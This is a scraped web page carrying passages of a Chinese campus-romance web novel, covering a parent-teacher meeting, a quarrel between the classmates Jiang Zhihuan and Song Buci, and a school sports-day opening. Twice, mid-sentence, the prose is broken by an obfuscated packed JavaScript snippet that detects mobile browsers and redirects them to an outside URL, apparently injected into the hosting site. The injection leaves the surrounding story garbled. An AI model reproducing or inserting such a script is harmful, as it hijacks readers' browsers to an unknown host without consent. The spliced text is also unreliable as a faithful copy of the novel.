“想啥呢?都快原地凝固了。”冯潇潇搂着她的肩,说,“别焦虑,你就学我,周考语文作业不是满分吗?把那张答题卡放到桌上。凡事都有个缓急轻重,说不定你妈一开心就会少说两句。” 齐思眉头轻蹙,似在思考这个建议的可行性。而冯潇潇已经快她一步,弯身,替她找答题卡。 “咦?你受伤了吗?”冯潇潇看着临近手边的创可贴,还没有动作就被齐思猛地抓住了手臂。 冯潇潇没见过她这么大反应,又惊又懵,“怎么了?” 齐思飞快扫了眼桌肚里那盒创可贴,心里顿时松了口气。 还好贴有便签纸的那一面是扣着的。 冯潇潇眯起眼睛,“你不对劲。” “没有。”齐思脸颊泛起薄红,咽了口口水,见姜知幻正好从后门走进,连忙道,“知幻回来了。” 冯潇潇的注意力瞬间被转移,她回头,叫了声:“幻姐!” 齐思紧绷的神经松懈两分,急急忙摸出创可贴转移阵地,揣进了自己裤兜里。 “你也被范洋感染了?这称呼听着太二了。”一进教室,姜知幻就熟练地将手机塞进衣袖。 她本想去接周知敏的,但对方没接电话。 冯潇潇提醒,“家长会,不用藏,就说是你爸妈给你玩的。” “也对。”姜知幻重新拿出手机。 冯潇潇好奇道:“知幻,你们家谁来?” 姜知幻:“外婆。” “啊——”冯潇潇有些遗憾,“还以为你爸妈会来,好好奇。你长这么好看,爸妈的颜值应该也不差吧?” “当然。”姜知幻眼底浮现出笑意,“我们一家子都是颜控。” 冯潇潇感觉更加遗憾了,但很快又小声同她八卦道:“你周围三个人的妈妈都特别漂亮,不过宋不辞他妈和夏闲他妈的关系貌似不太好。” “你是不知道,高一时两人也是同桌,当时他俩的妈妈坐在一起后,脸拉得老长了。” 姜知幻淡淡“噢”了声。 单看宋不辞和夏闲的关系,没人能想到两家长辈之间不对付。 冯潇潇笑嘻嘻道,“不过他们仨的妈妈都特别厉害,女强人中的女强人,我以后也要成为这样的人。” 齐思心不在焉地听着,还没想好如何跟妈妈解释月考成绩下降的事。 姜知幻是第一次听人提宋不辞家里人。 彼此的生日、爱好、喜欢的颜色和口味、刷题习惯……甚至连的鞋码都一清二楚。 但唯独在家庭方面,她和他都闭口不谈。 “好奇吗?”冯潇潇看出她在走神,问。 姜知幻摇头,“不好奇。” 这是实话。她只对宋不辞好奇。 “哎,还想说你和他关系那么好,去打听打听呢。”冯潇潇说着,目光错位,不知看到了什么,爆了句粗口。 姜知幻和齐思顺着她的视线看去。 前门口,一位女人踏进,顿时引来四面八方的注意。 她身着复古棕休闲西装,举手投足利落从容,眉目如画,唇不点而红,脸上毫无岁月痕迹,眼波流转间自带凌厉盛气。 “妈?”姜知幻大脑宕机须臾,抬腿,三步并做两步走过去。 冯潇潇攥紧齐思的手臂,“我的天呐,姜知幻的妈妈简直了,又潇洒又漂亮,感觉像女总裁!” 齐思看了眼跟在女人身后的宋不辞,垂眸。 傅琳勾唇,“怎么,看到我很意外?” “有点。”姜知幻笑容灿烂,“你怎么来了?” 昨天不是在电话里商量好了不来的吗? “想来就来了,不行?”傅琳捏捏她的脸颊。 我行我素是傅女士的一贯作风。 姜知幻点头,“行,当然行。” 聊了两句,傅琳像是忽然想起什么,侧过身子,对身后人说,“同学,谢谢你帮忙带路。” 姜知幻这才发现她后面还站了个宋不辞,扬了下眉。 “不客气阿姨,这是我应该做的。”宋不辞学她,冲她扬眉笑了下,说,“校门口那边人手不够,我先去忙了。” “谢谢了,宋同学。”姜知幻语调佻达。 傅琳看两人,眼里带着探究。 宋不辞离开,姜知幻挽着傅琳的胳膊,给她介绍了冯潇潇和齐思。 “你们好。”傅琳微笑道。 “阿姨好。” 两人面露拘谨,连平时大大咧咧的冯潇潇都变得有些局促起来。 “我很吓人吗?”傅琳疑惑。 冯潇潇忙摇头,“不不不,是阿姨你气场太强了,第一次见面,有点紧张。” 傅琳拍拍两人的肩,“别紧张,把阿姨当同龄人就行,让我也年轻一回。” “阿姨,你看起来跟十八岁没差。”冯潇潇眉开眼笑。 “你这小姑娘,眼光不错。” “哈哈哈哈哈——” 四人聊了会儿,身后忽地想起一道温润的女声。 “琳琳?” 傅琳转头,略感意外地叫了声,“月姐?” 能让傅女士叫姐的人可不多。 姜知幻转头,想知道是何方神圣,不曾想看见了去而复返的宋不辞。 他,温玉。 两人站在两位女人身后。 姜知幻咂舌,心说颜值果然是会遗传的。 … 家长会开始。 台上,关顺在说近段时间以来,孩子们的状态。 台下,傅琳坐在姜知幻的位置上。桌面上摆放的东西一目了然,几支笔、一张生物试卷和两个笔记本。 卷子已经做了三分之一。 傅琳撑着下巴,散漫模样和读书那会儿无异,没太认真听讲。她大致浏览了下试卷,拿起铅笔,圈出卷子上唯一一个错误答案。 这丫头的做题习惯像她,喜欢倒着写。 然后百无聊赖地拿起笔记本。 傅琳翻开封面,只见扉页上写着三个飘逸的大字。 ——宋不辞。 这个名字她知道,是刚才为她带路的男同学,也是她女儿的同桌。 傅琳没继续翻下去,神色自若地合上笔记本,放回原位。而后侧头,看了眼坐在右边的徐情。 徐情似有所感地扭过头。 傅琳淡笑了下,收回视线。 她目光平和,与对方交汇的时间仅短促的一秒,没什么特殊含义,也不会让人多想。 … 走廊里三两成群,姜知幻刚陪她们去了趟小卖部,见宋不辞一个人站在栏杆前发呆。 “在想什么?”姜知幻说着,递过去一个红色包装袋。 宋不辞愣了下,接过。 一包旺仔牛奶糖。 “怎么突然想起买这个?”宋不辞撕开,往手心里倒出两颗,一人分了一颗。 姜知幻接过,暂时不太想吃东西,于是放进兜里,“随手拿的。” 一见有吃的,范洋闻着味就来了,“老宋,你在吃什么。” 宋不辞睁眼说瞎话,声音有点含糊不清:“空气。” “啧,懂不懂什么叫有福同享。”范洋说。 “不懂,我只知道有福我享。”宋不辞笑着将糖揣进荷包。 “哇靠,你什么时候变得这么小气了?”范洋一副饿虎扑食的样子,伸手就要掏,“一颗,我就要一颗。太久没吃有点馋,让我怀念一下童年的味道呗。” 宋不辞哭笑不得,护紧荷包,“不是,你至于吗?” 这其实是班里男生常会发生的场景,为了一口吃的嬉笑打闹。况且宋不辞没什么架子,不会因为这种小玩笑而生气冷脸,顶多是想逗自己一下。 在范洋看来是这样。 原本听两人斗嘴,姜知幻也就一笑而过,但当看见范洋整个人都往宋不辞身前凑、都快贴在一起时,她的眼神霎时冷了下来。 “给他吧。”姜知幻忽地开口,语气不冷不热。 宋不辞看向她,少女双臂撑在栏杆上,望着对面教学楼装的电子屏,没看他们。 透过那无动于衷的表情,他察觉到她好像在生气。 这种状态的姜知幻,宋不辞见过一次。 之前跟范洋他们玩闹时,差点撞到从后门进来的她。 “你看看人家幻姐多善解人意。”范洋立马顺杆爬。 宋不辞没什么情绪地瞥了他眼,只想把人赶紧打发走,“给你给你,全给你,赶紧滚。” “这多不好意思。”浑然不觉的范洋意外收获一包糖,开心大笑,以胜利者的姿态,乐滋滋地跑去跟别人分享自己的战利品。 宋不辞走近,低声,不确定地问:“我们刚刚争抢时不小心撞到你了?” 他不知道姜知幻为什么突然生气,但绝对不是因为糖的问题。 “没。”姜知幻咬了咬上嘴唇,心头躁意难抒,转身想找个没人的地方平复情绪,编了个借口要走,“突然想起有东西落在小卖部了。” 她知道问题根源在哪儿,但她永远不会说。 我不喜欢你和任何人有肢体接触,哪怕碰一下都不行。 这不神经病吗?! 姜知幻打心底唾弃且厌恶至极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14209920|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、甚至为此撒谎的自己。 尤其是脑中还不断地在循环播放未知生物昨晚说的那句话。 “你共情了。” “你共情了。” “你共情了。” 她真的……共情了吗? “我陪你。”宋不辞下意识抓住她的手腕,想起来这是什么场合,只一秒,他便松开了。 “不用。”姜知幻没看他一眼,自顾自地走了。 楼梯道内静谧无声。 今天开家长会,同学们大多都聚集在走廊外等结束,这儿反而变得冷清起来。 “姜知幻。”宋不辞跟在姜知幻身后,在即将下楼时,再次抓住了她的手腕,不等她开口,他抢先道,语气听起来无比真诚,“我错了。” 他不知道自己那儿错了,但明白这种时候要先安抚好她的情绪。 姜知幻怔然。 “我们好好聊一下,可以吗?”宋不辞轻声细语道,说话时,还晃了下她的手。 一个略带乞求意味的举动。 楼上隐隐传下来零碎的说话声和脚步声。 姜知幻看着他,少时,挺无奈地叹了口气。 “宋不辞,你那么聪明,难道看不出来吗?”她边说,边慢慢抽出手,与此同时,楼上的声音也越来越近。 “东西落了是骗人的。” “我只是,不想跟你待在一起。” 手空了,人走了。 楼上的声音终于变得清晰,两位少女讨论着去小卖部要买什么。她们并肩转身,下楼时发现三楼楼梯口站着个人,皆愣了一下。 宋不辞双手插兜,眼睫微垂,盯着眼前空无一人的楼梯,越发觉得嘴里含着的奶糖没滋没味。心好似在冷水里走了一遭。 话说得挺狠。 … “你跟家里人决裂了?” 音乐室,温玉抛起手中的黄色铃铛,又稳稳接住。 “嗯。”夏闲抱臂坐在椅子上,神色倦怠,倒是还有精力跟温玉开玩笑,“神算子啊你,猜得这么准。” 温玉没多问,看着手里已经有些褪色的铃铛,说,“需要帮忙吗?” “你这只铁公鸡怎么退隐后越来越舍得拔毛了?”夏闲困得不行,直接往桌子上一趴。 温玉打了个哈欠,怀疑自己被他的瞌睡虫传染了,“给你的卡你也没用啊,说好给妹妹的见面礼,结果你连人都没见到。” “放心,以我目前的存款,饿不死。”夏闲说。 “行吧。”温玉不多管,转而说起了宋不辞,“他跟姜知幻怎么认识的?” “不清楚,应该认识挺久。”夏闲的声音听起来闷闷的,像是快睡着了。 “这个节骨眼动心,你怎么也不劝着点。”温玉说。 夏闲睁开眼看他,懒洋洋道,“我有那个资格吗?” 也对,徐情那套监视人的方法还是从夏闲他妈那儿汲取的。再则,夏闲自己也没好到哪去,心里一直有个放不下的人。 温玉把铃铛揣进兜里,拿起一把吉他,边说边调音,“要我看,你俩现阶段还是把专注力放在学习上比较好。” 夏闲迟缓地眨了下眼,脑袋放空,不知在想什么,反正没认真听他说话。 “经济能力没有完全独立,人也没有彻底脱离束缚。”温玉出道早,经历过社会的洗礼,看待事情的想法也更现实,“这种情况下,就别想着谈恋爱了,耽误人吗不是。说不定现在只是一时兴起,时间久了,也没那么喜欢了。” 他指尖轻动,弹出几个音符。 “不是一时兴起。” 两道男声同时响起,语气听着都带着十足的肯定。 音乐室的门被推开,宋不辞走了进来。 温玉掀起眼皮看了眼,继而垂眸,发觉他情绪不太好,问:“家长会结束了?” “还没。”宋不辞拖开一张椅子,坐下,“你继续。” 坦白讲,温玉有些话确实没说错。 “感情这种事具有不确定性,你现在认定遇到了一生挚爱,满身热血想要死磕到底。可能多少年后再回头,发现当初的自己就是个傻逼。”温玉不紧不慢道,嘴跟淬了毒似的,“再说了,你能确定自己不是一时兴起,那对方呢?” “说不定人家玩你跟玩狗一样简单。” 玩我总比不理我好。 宋不辞伸了个懒腰,满不在乎地笑笑:“爷乐意。” 夏闲也笑了,抬手跟他击了个掌。 作为朋友,该说的都说了就行。哪怕知道对方情愿往火坑里跳,温玉也只会眼睁睁看着,尊重他们做出的选择,不说任何风凉话。 他没那么神圣无私,更不是中二病上头的毛头小子,谁都想去拯救一下。 温玉忽然放下吉他,急匆匆去找纸和笔,把刚才脑中一闪而过的灵感和即兴的旋律写下来。 写到一半时,他听见宋不辞问夏闲,“兄弟,你哄过人吗?” “哄过我妹。” “怎么哄的?” “认真写作业就有冰糖葫芦吃。” 温玉:“……” 宋不辞:“……” 夏闲不明所以:“咋了,看不起冰糖葫芦的魅力?” 宋不辞:“……我就不该问你。” … 家长会完正好是午饭时间,颜来月找温玉去了,没有跟傅琳多聊。徐情没见到人,给宋不辞打了个电话。 冯潇潇妈妈对女儿的成绩还算满意,临走前叮嘱了两句,给了五十块钱,让她中午吃点好的。 也不知道是冯潇潇的法子奏效,还是关顺说了什么。总之,齐思没被批评,也没得到鼓励或者关心,她妈妈留下一句“这次既往不咎,下次好好考”便离开了。 韦枫玥的爸爸跟关顺在办公室聊了一阵。 傅琳带姜知幻出去吃。 姜知幻思虑重重,心神恍惚地坐上车。 “妈,外婆呢?”她问。 周知敏决定要做的事,谁也说不动,更别提傅琳了。 “在家。”傅琳知道她在想什么,“我跟她已经谈过了,所以她没来。小知,谁错谁解决,长辈间的矛盾,应该让长辈们自己操心。” 姜知幻低下头,无意识地咬了下上唇,“我知道了,妈。” “你如果知道,就应该早点跟我说,而不是让陈叔告诉我。”傅琳摸摸她的头,视线扫过她破了点皮的上唇,唰地变了脸色。 女儿一焦躁就爱咬上唇的习惯她知道,不过已经很久没复发了。 “我当初不应该同意你转学。”傅琳第一次说出后悔的话。 姜知幻抬头,像是忽然想通了什么问题,“妈,陈叔都跟你说了?” “说了。”傅琳抱臂,“崔医生也跟我说了,你已经很久没去找她了。” 崔医生,姜知幻的心理咨询师。 除了爸妈和陈叔,没人知道她有焦躁症。最严重的一次,差点把人打骨折。 姜知幻很久没发作过了,直到未知生物的出现,打破了情绪的平衡。否则,她差点就以为自己已经好了。 “陈叔还说了什么?”姜知幻问。 傅琳:“他说,希望你去见一下崔医生。” “就这些?” 傅琳狐疑,“还能有什么?” “没。”姜知幻庆幸,心里迅速同陈叔建立起了革命友谊,她笑了下,说,“我以为这么久不见,他会想我呢。” “少转移话题。”傅琳拍了下她的肩,“我跟崔医生约好了,她下周会来江城,你老老实实地去见她,别放人家鸽子。” “好。”姜知幻没拒绝,自己目前这个状态,确实需要治疗。 傅琳指了指她的嘴唇,“遇上什么烦心事了?咬这么狠,我记得刚见你时还没破皮。” “不是什么大事,我已经放下了。”姜知幻搂住傅琳的腰,往她怀里钻,“妈,抱抱。” “多大个人了还撒娇。”傅琳抚摸着她的背,说,“小知,你不想接受心理咨询可以跟爸妈说,但不能藏着掖着,知道吗?” “知道了。” … “月考成绩我看了,保持这个水准。” “你同桌叫姜知幻?” 宋不辞闲来无事弹钢琴玩,闻言,他按白键的动作一滞,问:“怎么了?” “没什么,对那小姑娘的印象不错。”徐情说,“家庭背景貌似挺厉害,你可以多跟她来往,到时候……” “妈,没必要吧,参加家长会又不是逛商店,遇到个条件不错点的姑娘就让我多来往。” 宋不辞还在音乐室坐着,夏闲和温玉去吃饭了。 “我以前不都跟你说过吗,我可以帮持你的事业,但别试图掌控我的人生。”他嗤笑一声,缓缓道,“你和我爸在这一点上还挺默契,都想给我安排联姻。” “不过,人家那么优秀,看得上你这个连人都看不住的儿子吗?” 徐情噎了一下,怒道:“宋不辞,你什么态度?!” “抱歉妈,我就是没忍住掂量了下自己几斤几两,有点口不择言了。”宋不辞嘴角勾起抹自嘲的弧度,他指尖轻抚黑键,然后慢慢地按下去,好声好气地商量道,“但联姻这种事我真没兴趣,以后就别提了,好吗?” “别跟温玉一样不学无术,成天想着搞音乐。” 许是听见钢琴音,徐情撂下这句话,挂断电话。 22. Chase 下午的课照常上,第一节晚自习去舞蹈室练习,见大家不仅跟上节奏且站位不乱,方子衿与大家商讨了要统一买的服装便遣散了。 总共花了不到十几分钟,宋不辞在回教室的途中找着机会跟姜知幻搭话,问放学能不能一起走? 姜知幻摇头,拒绝了。 课间,因同桌趴桌就睡,温玉不得不转身向宋不辞问数学题。 姜知幻当时正打算解决上午没做完的生物卷,见最后一道遗传大题的第四小问答案被灰色圈圈住,旁边有批注和一个皱眉的小表情。 ——? 这干脆又嚣张的风格,不用动脑都知道是谁。 来自MIT博士生傅琳的质疑,表示这都能做错?百思不得其解的小表情中似还含了点嫌弃。 姜知幻:“……” 她弯唇浅笑,重新看了遍题。 宋不辞做题,习惯用不同颜色的笔将线条标注出来,温玉不介意,他便直接在卷子上画了。 “还有这条线……”宋不辞说着,抓起一支紫色笔,笔尖划过纸面,毫无变化。 他以为断墨了,又来回轻划两下,结果发现是墨用光了。 温玉见状,瞧姜知幻桌面上有彩笔,顺其自然地问:“后桌,借支笔?” “随便拿。”姜知幻眼也不抬道,用橡皮擦擦去灰色圆圈,提笔划掉错误答案。 “喏。”温玉将一支粉色笔递给宋不辞。 宋不辞看了眼姜知幻,接过,继续讲题。待温玉听明白回过身去,他合上粉笔的笔盖,默了下,低声开口:“同桌,笔。” “放着吧。”姜知幻说。 “放哪儿?” “都行。” 她一门心思都扑在题上,分不出闲心。再则,宋不辞也不会在这种无意义的小事上多次提问,除非…… “好。” 随着他的声音落下,姜知幻感觉手背被什么轻蹭了下。 她终于抬头,正视宋不辞。自下午到现在的第一次对视,哪怕只有短暂的两秒。 “抱歉,不小心碰到了。”得到她的注意,宋不辞表情坦然地收回手,仿佛真如他所说的那般。 不像是不小心,倒更像是小心翼翼地试探。 姜知幻脸色无波无澜,若无其事地低头继续做题。 宋不辞的左眼皮莫名跳了下。 这不禁让他想起了儿时,因犯了一次严重错误,所有人都对他冷脸相待。母亲只在乎成绩,父亲把他当透明人,而姑母姑父更是放言要决裂,此生再也不同他家来往。 那时的生活就像一场闹剧,而他是闹剧中的活死人。 宋不辞竭尽全力去改正弥补也得不到任何回应,无人在意他,除了奶奶。还好有奶奶,不然年仅八岁的他都不知道,在寡情苛刻的环境下该如何熬过去。 而奶奶去世后,宋不辞变成了胆小鬼,再也没向别人奢求过回应。 害怕没有回应,也害怕期待落空,所以保持适可而止的主动。 自此,两人再没说过话。 隔天,姜知幻的桌面上多了一支药膏,包装眼熟,傅琳走之前也给买过,硬塞给了她。 姜知幻对这种小伤向来不上心,咬破皮而已没两天就能愈合,买药实在有点小题大做。但她还是将桌上的药膏收起来。 运动会到来前,空闲时候大家会去操场练习自己的项目。姜知幻陪冯潇潇练习三千,告诉她方法和诀窍。当时宋不辞也在场,他静静听完,看了会儿姜知幻就跑步去了。 冯潇潇也是在这会儿察觉到异样,小声问姜知幻:“你们闹矛盾了?” “没。”姜知幻很明确,矛盾是她单方面的,和宋不辞无关。 “那就奇了怪了,我还从来没见过宋不辞露出那种眼神。”冯潇潇纳闷。 姜知幻看她,问:“什么眼神?” “就是感觉又难受又委屈,一点不像他平常的做派。”冯潇潇迷惑道,“难道你欺负他了?” 姜知幻:“……” “可能是错觉吧,他那双眼睛长得好,看什么都带情。估计看苍蝇也能露出那种眼神。”冯潇潇摆摆手,也觉得刚才说的话离谱,“宋不辞那一米八的大高个,脑子灵光打架又狠,谁能欺负到他头上。” 姜知幻:“为什么打架?” 从拿恐怖音乐吓人能看出,宋不辞不是个会轻易动手的人。 “高一下的事了,在校外动的手。具体我也不清楚,就听范洋提过一嘴,他只目击了宋不辞打人的场面,不知来龙去脉。”冯潇潇说,“但据说夏闲打人更狠,要不说他俩能玩到一块儿去呢。诶,你说温玉是不是也很会打啊?” “不知道。”姜知幻拍拍她的肩,说,“赶紧练习吧,时间不多了。” … 艳阳高照,晴空万里。 是个举办活动的好天气。 运动会为时三天,从周四开始,周六结束。 seve鬼步舞作为开幕式入场节目,参加的几位同学提前半小时到达现场,换好服装,再排练了一遍。 衣服是两天前到的,大家拿回去清洗晾晒。整个一套美式街头风,大家穿上都又酷又飒,极具少年感。 少女少年们说笑打闹,头顶是亮而不刺眼的阳光,脚下是红色跑道。光落在这群人身上,照耀招摇的青春,耳畔的风似乎都带着自由的味道。 方子衿今天特意带了相机来,看着面前的男男女女,像是在看一棵棵生机勃勃、枝繁叶茂的常青树。 永远蓬勃鲜活,永远充满希望。 这种感觉,是青春给的限定时光。 无论过去多少年,都只能怀念,无法再次体验。 她情不自禁地举起相机,见此,大家很配合,大大方方地摆出表情和姿势,随便让她拍。 好几个同学想要照片,问方子衿要了微.信号。 姜知幻皱眉,在跟衣袖上的线头做斗争,没去,而宋不辞站在原地,没动。 伏熹要完回来,主动跟姜知幻搭话道:“知幻姐,你要吗?加个好友,我可以发给你。” 她是高一的,和另一位男生谢邀同班。经过这段时间的练习,跟姜知幻的关系说不上熟,但挺聊得来。 宋不辞表面八风不动,实则聚精会神地偷听。 这时,温玉忽然凑到他身边,小声问:“你俩在冷战?” 他空闲时间爱往音乐室或广播室跑,课间要么琢磨题要么想歌词旋律,对周围所有人的关注都极少。但只要一关注,就能发现问题。 “你不去要照片?好歹也是你高中生活里为数不多的痕迹。”宋不辞说。 温玉想了想,觉得他说在理,刚要动身就见夏闲从方子衿那边走来。 “要照片吗?”夏闲这会儿精神头十足,狮子大开口道,“一张一万,不接受讲价。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253937|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温玉眼神幽幽,一副“你把谁当傻逼看”的表情。 “老师,要不你跟我们一起拍张合照吧。”许雨散提议道。 “行,我找个人帮我们拍一下。”方子衿四处张望,最后目光锁定不远处背着手走来的吴回舟,立马喜笑颜开道,“吴老师快来快来,帮我们拍个照呗。” 在等吴回舟走过来的期间,大家自动自发地站好位,将C位空出,留给方子衿。 “你们这群小年轻,净爱整些有的没的。”吴回舟嘟囔着从方子衿手中接过相机,左看看右看看,疑虑道,“这玩意儿怎么用?是按这儿吗?” “对对对,就是按这里,操作跟你用手机拍照一个原理,把镜头对准我们,然后按就行。”方子衿说完,小跑过去。 吴回舟总见别人用相机,自己倒是从未实操过。他颇感新奇,仔细看着屏幕里的人,说:“温玉你比夏闲高,跟他换个位置。” 夏闲黑脸:“……” 我185.2,他186,能高到哪儿去? “动起来动起来。”吴回舟不知道这群小男生对身高的问题有多敏感,继续指挥道,“还有贺竹,笑一下别老垮着个脸,不清楚的还以为谁欠你钱。” “……”贺竹很勉强弯了下嘴角。 “准备啊,一,二,三,茄子!”吴回舟按下快门键时,一向高要求高标准的他瞬间不悦,“某些男同学啊,总瞟人家女同学干嘛?脸都只能看到一半了,重拍!” 照相不露正脸算怎么个事。 吴回舟没说是谁,但宋不辞感觉自己被点名了。他站在姜知幻身后,在喊“茄子”时,没忍住垂眼。 四周人偷笑,姜知幻的注意力有些分散,望着跑道边缘那一排五颜六色的盒子。 是彩烟墙。 ——开幕式举办烟花秀! 对于同学们的建议,这学校还真给予了回应。 … 九点,入场歌声奏响。 绿茵场上,各班方队排列整齐,头顶上盘旋的无人机嗡嗡作响,像只巨型蚊子。一段振奋人心的开幕致辞说完,姜知幻跟随大部队,十人按身高站成一条线,紧接着bgm《seve》响起。 前奏一出,大家不紧不慢地分散开,按照之前编好的站位,错落有致地排列。 众人惊呼,顷刻间,嘈杂声连成一片。 “我靠!之前问老宋,吴主任叫他们去干嘛,他说秘密。我以为他小气鬼,故意不满足我的好奇心!”范洋恍然大悟,“原来是被拉去表演节目了啊!” “我问过夏闲和温玉,得到的也是这俩字。” “估计是想保持神秘感吧。” 前面的冯潇潇心脏怦怦跳,激动道:“这确定不是颜狗的福利吗?!赶快拍下来,等以后再翻出来看,别有一番滋味在心头!” “经常在网上刷到,没想到这次在现实中看见了。”韦枫玥十分赞同她说“拍下来”的提议。 齐思已经默不吭声地举起手机录视频。 这段舞不到一分钟,《seve》结束后,bgm立即切换成了《wake》的高潮部分。与此同时,随着“piu”的一声巨响,五颜六色的烟雾弹一飞冲天,芸芸学子眼前,出现一面喷射出的彩烟墙。 至此,全场沸腾。欢呼声与口哨声此起彼伏,震耳欲聋。 运动会正式拉开帷幕,上空的红旗迎风飘扬,猎猎作响。 23. Chase 在烟雾将要散尽之时,一直在旁边观看的方子衿忽然上前。 “砰!” 礼炮声炸开,四方都飞散着流星彩带和亮片,它们随风而行,飘落到同学们的发丝与肩头。 而方子衿右手抬起,手肘微曲,在空中绕了两圈,然后优雅款款地鞠躬。 十人见此情形,也跟着她做了绕手鞠躬礼。 前方有摄影师全程跟随拍照录像,人群中不知是哪个班的男同学,声音洪亮地吼了一句:“校长,把这段视频发到网上,绝对能火!” 此话一出,引起全场哄堂大笑。 … 骄阳似火,风都懒得吹。 开幕式结束后,广播通知各班派人去补给站搬水。 补习班的班委们各司其职,韦枫玥一边核对各项目时间,一边安排人写发言稿,忙的不可开交。 宋不辞上午有项目,已经换了套蓝白色运动装。他闻讯,叫了几个男生一起去,顺带拉上了刚坐下的夏闲。 “趁年轻多动动,等你七老八十了想动都动不了。”宋不辞说。 夏闲:“温玉呢?” “广播站,被拉去念加油稿了。”宋不辞看他一眼,“怎么,你也想去?” 夏闲:“……” 今天不比三千米,冯潇潇闲不住,正好关顺带来了一包气氛道具和几支防晒霜。热情如她,立马跑去接过,叫上姜知幻和齐思两个现成的壮丁给大家分发。 “天气热起来了,大家注意防晒。需要防晒霜的可以来找我要。”关顺对补习班的同学说。 女同学们还没反应,好几个男同学就积极地凑上去。 一位黑皮男生边猛冲过去,边喊:“关老师,我可太需要了!可不能再黑下去了,再黑就成煤炭了!” 众人哈哈大笑,领到道具的同学前后晃动两下,拍掌器啪嗒作响。 “行,你多用点。”关顺忍俊不禁地递给他一支。 姜知幻有条不紊地发着,其他三个参加接力比赛的女生收到后,跟她聊了两句天。经过这几天练习的相处,互相之间的关系多少拉近了些。 “知幻,下午的接力赛你是最后一棒哦,紧不紧张?!” “还好。” “放宽心,别有压力。” “嗯。” “欸,防晒霜用吗?刚从关老师那儿要来的。” “你们用吧,我陪齐思去小卖部买点东西。” 手里最后一个拍掌器被接过,姜知幻对三人淡笑了下。她转身走向齐思,大概是嫌光亮刺眼,手抬至额前,手心朝下遮挡着。 “我嘞个乖乖隆地咚,这是蜕过一层皮吗?”黑皮远远望着姜知幻的手,太阳下,少女的皮肤白得发光。 他瞠目结舌,又看看自己的手臂,难以置信道:“人怎么能那么白?” “你多蜕两层皮估计就能了。”冯潇潇说。 齐思问了韦枫玥和冯潇潇需要带什么,然后挽着姜知幻的左手走了。 两人穿过操场密布的人群,途中偶遇搬水回来的宋不辞等人。他们嘻嘻哈哈,正讨论开幕仪式时给哥仨取的组合名。 “老宋,你觉得SOTK怎么样?” 宋不辞眸光一闪,“你也玩这个游戏?” “什么玩意儿?我跟你说组合名呢。”范洋说,“SpiritoftheKnight,你想哪儿去了。” 因这个略带中二感的名,夏闲看了他眼。 “夏哥都忍不住看我了,看来这个名字取得十分有含金量。”范洋沾沾自喜。 夏闲:“……” 秦六佑:“他可能是觉得你二货一般的脑子,十分有含金量。” “啧,你别曲解人意哈…我…”范洋说着,嘴边的话突然拐了个山路十八弯,“齐思,幻姐,你们去哪?” 姜知幻和齐思徐徐走近,她依旧保持手遮阳光的姿势,轻抬下巴,微眯眼扫视一圈几人,最后目光定格在宋不辞身上。 少年身型颀长,其他男生都是两人合力,唯有他一人抱着一件运动饮料,双手托在底部,姿态不见丝毫吃力。那露出的手臂和小腿直而白,肌肉紧实,线条流畅,骨骼分明充满力量感,却又并不夸张。 而旁边的夏闲,悠然自得地拧开手中那瓶水,喝了口。 齐思如实告知:“去小卖部买点东西。” “顺便帮我带包辣条呗。”范洋笑嘻嘻道,想了想,补充,“再加一包乌梅,求求了,两位大美女们。” 姜知幻压根没看他,也没注意他说的话。她视线缓缓往上挪,直到与宋不辞相视。 他的目光一如既往,平静地、坦然地、一刻未曾从她身上移开过。 齐思受不了范洋的软磨硬泡,应下,“好。” “谢谢齐大美女!”范洋大叫一声。 齐思惊吓,“你小声点!” “好好好。”范洋压低声音,又说了一遍,“谢谢齐大美女。” 周围人笑。 夏闲手肘一撇,碰了下宋不辞的手臂,大爷似地懒散语气,问:“需要搭把手吗?” 姜知幻收回视线,对齐思说:“走吧。” 宋不辞瞧了眼自己的右手臂。 刚才,姜知幻最后看的地方是这儿。 去往小卖部的路上,人不多。 齐思的目光时不时往上瞟她两眼,停留时间短,但次数频繁,另一只手的拇指和食指不停摩挲着衣摆,可以看出她很纠结。 “你有话就说吧。”姜知幻抽冷子开口,侧头看她,语气分明不温不火,但齐思还是吓了一跳。 乍一听,语气挺冷漠。 “你跟你妈妈好像。”齐思脑子短路,脱口而出道。自己都没料到到嘴里会蹦出这句话来。 但也是打心底觉得,姜知幻和她妈妈很像,都是属于冷艳型的美女。 姜知幻默了默,“谢谢。” “不是,我其实是想问,你最近是不是心情不太好?”齐思慌措解释。 姜知幻不解,“你犹豫半天只是想问这个?” “嗯。”齐思重重点了下头,鼓足勇气,叽里咕噜说出一大堆话,“感觉你这两天话变少了,人也冷淡了,就像刚转来班里时的状态一样,看着挺平易近人,其实距离感很重。” 她也想不通,一个人身上如何能同时兼容“平易近人”和“冷淡疏离”两种气质。可姜知幻就是这样。 “所以才想问你,最近是不是心情不好?”齐思表情郑重。 姜知幻眨了两下眼睛,似在消化她说的话,片刻才摇头,“没。” 她不知道自己最近的心情算好还是不好。因为她最近在有意压制各种情绪。 “真的?”齐思重新抬起头看她。 姜知幻不愿在这个问题多言,站定在小卖部门旁的窗口前,问:“你想买什么?” 窗台置物架摆放着各式各样的小零食,她的目光一一扫过。 “我去里面看看。”看她对外面的东西感兴趣,齐思松开手,自己进去了。 姜知幻看着琳琅满目的糖,下意识去拿青柠味,手伸到半途又变了方向,改拿了一条口香糖,扫码支付完,抽出一片往嘴里塞。 